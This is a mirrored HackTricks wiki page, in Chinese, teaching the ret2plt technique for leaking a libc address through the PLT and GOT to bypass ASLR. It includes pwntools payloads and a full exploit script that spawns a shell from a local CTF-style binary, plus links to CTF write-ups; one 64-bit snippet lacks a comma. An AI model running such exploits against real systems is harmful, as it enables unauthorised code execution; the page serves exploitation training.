mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
2.8 KiB
Markdown
79 lines
2.8 KiB
Markdown
# Ret2plt
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
该技术的目标是**泄露来自PLT的函数地址**以绕过ASLR。这是因为,如果例如,你泄露了来自libc的函数`puts`的地址,你就可以**计算`libc`的基址**并计算偏移量以访问其他函数,如**`system`**。
|
||
|
||
这可以通过`pwntools`有效载荷完成,例如([**来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
||
```python
|
||
# 32-bit ret2plt
|
||
payload = flat(
|
||
b'A' * padding,
|
||
elf.plt['puts'],
|
||
elf.symbols['main'],
|
||
elf.got['puts']
|
||
)
|
||
|
||
# 64-bit
|
||
payload = flat(
|
||
b'A' * padding,
|
||
POP_RDI,
|
||
elf.got['puts']
|
||
elf.plt['puts'],
|
||
elf.symbols['main']
|
||
)
|
||
```
|
||
注意如何 **`puts`**(使用来自 PLT 的地址)被调用,地址位于 GOT(全局偏移表)中的 `puts`。这是因为在 `puts` 打印 `puts` 的 GOT 条目时,这个 **条目将包含 `puts` 在内存中的确切地址**。
|
||
|
||
还要注意如何在利用中使用 `main` 的地址,以便当 `puts` 结束其执行时,**二进制文件会再次调用 `main` 而不是退出**(因此泄露的地址将继续有效)。
|
||
|
||
> [!CAUTION]
|
||
> 注意,为了使这项工作,**二进制文件不能使用 PIE 编译**,或者您必须 **找到一个泄露以绕过 PIE**,以便知道 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。
|
||
|
||
您可以在 [**此处找到此绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该 **示例** 的最终利用:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln-32')
|
||
libc = elf.libc
|
||
p = process()
|
||
|
||
p.recvline()
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
elf.plt['puts'],
|
||
elf.sym['main'],
|
||
elf.got['puts']
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
puts_leak = u32(p.recv(4))
|
||
p.recvlines(2)
|
||
|
||
libc.address = puts_leak - libc.sym['puts']
|
||
log.success(f'LIBC base: {hex(libc.address)}')
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
libc.sym['system'],
|
||
libc.sym['exit'],
|
||
next(libc.search(b'/bin/sh\x00'))
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
p.interactive()
|
||
```
|
||
## 其他示例与参考
|
||
|
||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||
- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址,然后再调用 `system('/bin/sh')` 的 ROP gadget。
|
||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||
- 64 位,启用 ASLR,没有 canary,主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址,然后调用一个 gadget。
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|